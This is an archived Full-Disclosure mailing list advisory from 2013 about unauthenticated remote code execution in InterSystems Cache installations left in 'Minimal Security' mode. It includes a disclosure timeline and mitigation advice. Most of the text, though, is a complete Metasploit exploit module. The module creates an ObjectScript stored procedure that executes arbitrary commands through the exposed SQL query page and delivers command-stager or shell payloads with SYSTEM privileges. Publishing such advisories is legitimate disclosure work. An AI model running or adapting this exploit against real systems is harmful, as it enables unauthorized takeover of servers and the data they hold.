lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 18 Nov 2013 23:42:24 -0800
From: Mike Arnold <bruk0ut.sec@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Intersystems Cache Remote Code Execution (via
 Default Minimal Security Install)

-------------------
1) Overview

Title: Intersystems Cache Remote Code Execution (via Default 'Minimal
Security' Install)
Product: Intersystems Cache
Product URL: http://www.intersystems.com/cache/index.html
Vendor: Intersystems
Affected Versions: Tested on Cache for Windows x86-64 & i386 2009.* thru
2012.*
<= 2007.* may not achieve RCE.
=> 2013.* requires manual web UI usage but RCE can still be achieved by
manually creating the SQL stored procedure and calling it via SELECT
procname('cmd')
CVE-ID: None - vendor is aware of the insecure default "Minimal Security"
mode. Furthermore the installer provides "Normal" and "Locked down" modes
which must be selected in order to have some level of security.
Severity:  High
Credit: Bruk0ut

Disclosure timeline:
09/23/2013 - Vendor contacted and advised of highly insecure default
configuration

09/24/2013 - Vendor responds to advise a case has been opened

10/08/2013 - Vendor responds to advise that product manager and developer
group are looking into improving this initial default configuration and are
closing the case

11/01/2013 - Vendor releases Cache version 2013.1.3 - according to change
log this issue has not been addressed and no warning/advisory posted to
advise customers against installing with default "'Minimal Security'
configuration on
http://www.intersystems.com/support/cflash/2013announce.html

11/18/2013 - Advisory and exploit disclosed to public

-------------------
2) Product information

"InterSystems Cache is an advanced object database that provides in-memory
speed with persistence, and the ability to handle huge volumes of
transactional data. Plus, it can run SQL faster than relational databases.
Caché enables rapid Web application development, massive scalability, and
real-time queries against transactional data – with minimal maintenance and
hardware requirements"

-------------------
3) Advisory detail

The default installation of Intersystems Cache using the 'Minimal Security'
mode, is very insecure in that the default "UnknownUser" mapping for
anonymous user access to the web service (running on port TCP/57772 by
default) - is granted privileges to "%All" roles,  which can be used to
comprise the system on which Cache has been installed.

Particularly the unrestricted access to the Cache SQL engine (
http://host/csp/sys/exp/UtilSqlQuery.csp) and the ability to create and
execute stored procedures, results in allowing the use of the "Cache Object
Script" language to be leveraged and thus one can achieve un-authenticated
remote code execution with default SYSTEM privileges on windows systems,
and with the non privileged 'cacheserver' user context on Linux systems.

Tested on Cache for Windows x86-64 & i386 2009.* thru 2012.*

Versions <= 2007.* have not been tested and possibly may not achieve RCE
via UtilSqlQuery.csp

Versions => 2013.* requires manual web UI usage of the management portal (
http://host/csp/sys/exp/%25CSP.UI.Portal.SQL.Home.zen) - but RCE can still
be achieved by manually creating the SQL stored procedure and calling it
via SELECT procname('cmd'). The reason for this is because from this
version on, the management portal uses the CSPBroker service when dealing
with HTTP POST requests, which adds a layer of complexity due to encrypting
methods and functions with the user's session key. This is all abstracted
by any JavaScript enabled browser but renders it difficult to script an
exploit. Previous versions do NOT use the CSPBroker and use standard HTTP
POST requests.

-------------------
4) Proof of Concept

attached is cache_rce_pack.zip which contains

a) cache_rce.py - a standalone python exploit that exploits the
vulnerability using a self explanatory menu system (and in turn uses
MultipartPostHandler.py for uploading files due to Cache's requirement of
multipart-formdata enctype).

b) cache_minimal_sec_exec.rb - Metasploit module submitted to Rapid7 on
11/18/2013 - uses CMDStagerVBS for windows targets or generic UNIX CMD
payloads for *nix targets. Also has the option for single/specific cmd
execution (non stager or payload).
-------------------
5) Solution

Users should not use the default 'Minimal Security' setting during
installation and should choose either 'Normal' or 'Locked Down'.

If a Cache installation has been installed using the 'Minimal Security'
setting, the info here should be reviewed and the installation locked down
->
http://docs.intersystems.com/ens20091/csp/docbook/DocBook.UI.Page.cls?KEY=GCAS_tighten

Furthermore the default admin accounts should have their passwords reset.

-------------------
Contact

bruk0ut.sec  .::at::.  gmail com
PGP Key ID: 0xC570B9F4


================================================
================================================
================================================

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit
    Rank = GreatRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStagerVBS
    include Msf::Exploit::FileDropper

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'Intersystems Cache Remote Code Execution
(via Default Minimal Security Install)',
            'Description'     => %q{
                This module exploits default installations of Intersystems
Cache which use the 'minimal' initial security settings, unless changed
during/post installation.
                Anonymous users are granted permissions to '%All' roles
within Cache, allowing for remote code execution to be achieved by creating
a Cache SQL stored procedure which leverages
                the 'Cache Object Script' scripting engine to execute
commands under the context of SYSTEM for default windows installations, or
non privileged 'cacheserver' for default *nix installations.

                },
            'Author'          =>['Bruk0ut'],
            'License'         => MSF_LICENSE,
            'References'      =>[ 'URL', 'tbd'],
            'DisclosureDate' => 'Nov 18 2013',
            'Platform'       => ['win', 'unix'],
            'Targets'        =>
                [
                    [
                        'Windows Universal (CMDStagerVBS)',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86
                        }
                    ],

                    [
                        'Unix Universal (CMD)',
                        {
                            'Platform' => 'unix',
                            'Arch' => ARCH_CMD
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'Privileged'     => true #SYSTEM for windows, non priv'd
cacheserver acct for *nix
            ))

        register_options(
            [
                Opt::RPORT(57772),
                OptString.new('TARGETURI', [ true, 'Path to SqlQuery form',
'/csp/sys/exp/UtilSqlQuery.csp']),
                OptString.new('CMD', [ false, 'Execute this command instead
of using command stager or Payload', "" ]),
                OptString.new('STORED_PROC_NAME', [true, 'Stored Procedure
name to create','random_alpha'])
            ], self.class)

        register_advanced_options(
            [
                OptBool.new('DELETE_FILES', [ true, 'Delete the dropped
files after exploitation', true ])
            ], self.class)
    end

    def check
        res = send_request_cgi(
        {
            'uri' => target_uri.path,
            'method' => 'GET',
        },20)

        if (res.code == 401 or res.code == 404 or res.body =~ /user name/
or res.body =~ /User Name/)
            Exploit::CheckCode::Safe
            # either not found or UtilSqlQuery.csp is protected by
authentication (non default install)
        else
            Exploit::CheckCode::Vulnerable
        end
    end



    def create_sql_procedure(procname)
        # create Cache SQL stored procedure which uses Cache Object Script
to acheive arbritrary code execution
        print_status("Creating Cache SQL Stored Procedure: #{procname}")
        rce_func = "CREATE FUNCTION #{procname}(CMD TEXT) PROCEDURE RETURNS
TEXT LANGUAGE OBJECTSCRIPT\n"
        rce_func << "{\n"
        rce_func << "Set rez = $ZF(-1,
##class(%SYSTEM.Encryption).Base64Decode(CMD))\r\n"
        rce_func << 'Write "rce_cmd_complete"' + "\r\n"
        rce_func << "}\r\n"
        res = send_request_cgi(
        {
            'uri' => target_uri.path,
            'method' => 'POST',
            'vars_post' =>
            {
                '$NAMESPACE' => '%SYS',
                '$CLASS' => '%CSP.UI.SQL.QueryForm',
                '$FRAME' => '_top',
                '$FORMURL' => Rex::Text.uri_encode(target_uri.path),
                '$AUTOFORM_EXECUTE' => 'Execute Query',
                'RuntimeMode' => 'Logical Mode',
                'MaxRows' => '1000',
                'IEworkaound' => '',
                'Query' => rce_func
            }
        },20)

        if (not res or res.code == 500 or res.code==404)
            abort("Did not receive expected response... quitting")
        elsif (res.code == 401 or res.body =~ /user name/ or res.body =~
/User Name/)
            abort("UtilSqlQuery.csp is protected by authentication...
quitting")
        end

        #after initial form POST, server sends a 302 re-direct which must
be followed to complete the request
        if (res.headers['LOCATION'])
            exec_url = res.headers['LOCATION']
            res = send_request_cgi(
            {
                'uri' => exec_url,
                'method' => 'GET',
            },20)
        else
            abort("Could not parse exec url... quitting")
        end
    end

    def drop_sql_procedure(procname)
        #Stored Procedure cleanup... rm as no longer required
        print_status("Dropping Cache SQL Stored Procedure: #{procname}")
        res = send_request_cgi(
        {
            'uri' => target_uri.path,
            'method' => 'POST',
            'vars_post' =>
            {
                '$NAMESPACE' => '%SYS',
                '$CLASS' => '%CSP.UI.SQL.QueryForm',
                '$FRAME' => '_top',
                '$FORMURL' => Rex::Text.uri_encode(target_uri.path),
                '$AUTOFORM_EXECUTE' => 'Execute Query',
                'RuntimeMode' => 'Logical Mode',
                'MaxRows' => '1000',
                'IEworkaound' => '',
                'Query' => "DROP FUNCTION #{procname}"
            }
        },20)

        if (not res or res.code == 500 or res.code==404)
            abort("Did not receive expected response... quitting")
        end

        #after initial form POST, server sends a 302 re-direct which must
be followed to complete the request
        if (res.headers['LOCATION'])
            exec_url = res.headers['LOCATION']
            res = send_request_cgi(
            {
                'uri' => exec_url,
                'method' => 'GET',
            },20)
        else
            abort("Could not parse exec url... quitting")
        end
    end


    def exploit
        #randomize stored procedure name
        if datastore['STORED_PROC_NAME'] == 'random_alpha'
            datastore['STORED_PROC_NAME'] = rand_text_alpha(6)
        end

        #create stored procedure to acheive RCE
        create_sql_procedure(datastore['STORED_PROC_NAME'])

        #if CMD option is set, instead of using a payload, execute only
this command, prefixed with 'cmd /c ' if target is Windows, or no prefix if
*nix
        if not datastore['CMD'].empty?
            if target.name =~ /Windows/
                print_status("Executing command: cmd /c
#{datastore['CMD']}")
                execute_command("cmd /c #{datastore['CMD']}")
            else
                print_status("Executing command: #{datastore['CMD']}")
                execute_command(datastore['CMD'])
            end
            return
        end

        #if target is Windows, launch payload via CMDStagerVBS
        if target.name =~ /Windows/
            execute_cmdstager( { :linemax => 1500 })

        #if *nix, execute CMD payload directly
        else
            print_status("Executing UNIX CMD Payload #{payload.encoded}")
            execute_command(payload.encoded)
        end

        #clean up stored procedure
        drop_sql_procedure(datastore['STORED_PROC_NAME'])
        handler
    end

    def execute_command(cmd, opts = {})
        cmd = Rex::Text.encode_base64(cmd)
        #launch pre-created stored procedure and pass cmd as arg
        res = send_request_cgi(
        {
            'uri' => target_uri.path,
            'method' => 'POST',
            'vars_post' =>
            {
                '$NAMESPACE' => '%SYS',
                '$CLASS' => '%CSP.UI.SQL.QueryForm',
                '$FRAME' => '_top',
                '$FORMURL' => Rex::Text.uri_encode(target_uri.path),
                '$AUTOFORM_EXECUTE' => 'Execute Query',
                'RuntimeMode' => 'Logical Mode',
                'MaxRows' => '1000',
                'IEworkaound' => '',
                'Query' => "SELECT
#{datastore['STORED_PROC_NAME']}('#{cmd}')"
            }
        },20)

        if (not res or res.code == 500 or res.code==404)
            abort("Did not receive expected response... quitting")
        end

        #after initial form POST, server sends a 302 re-direct which must
be followed to complete the request
        if (res.headers['LOCATION'])
            exec_url = res.headers['LOCATION']
            res = send_request_cgi(
            {
                'uri' => exec_url,
                'method' => 'GET',
            },20)
        else
            abort("Could not parse exec url... quitting")

        end

        #stored procedure outputs the string below to confirm that it
executed
        if not res.body =~ /rce_cmd_complete/
            abort("Unable to confirm if SQL stored procedure can be
executed properly... quitting")
        end
    end
end

Content of type "text/html" skipped

Download attachment "cache_rce_pack.zip" of type "application/zip" (9312 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ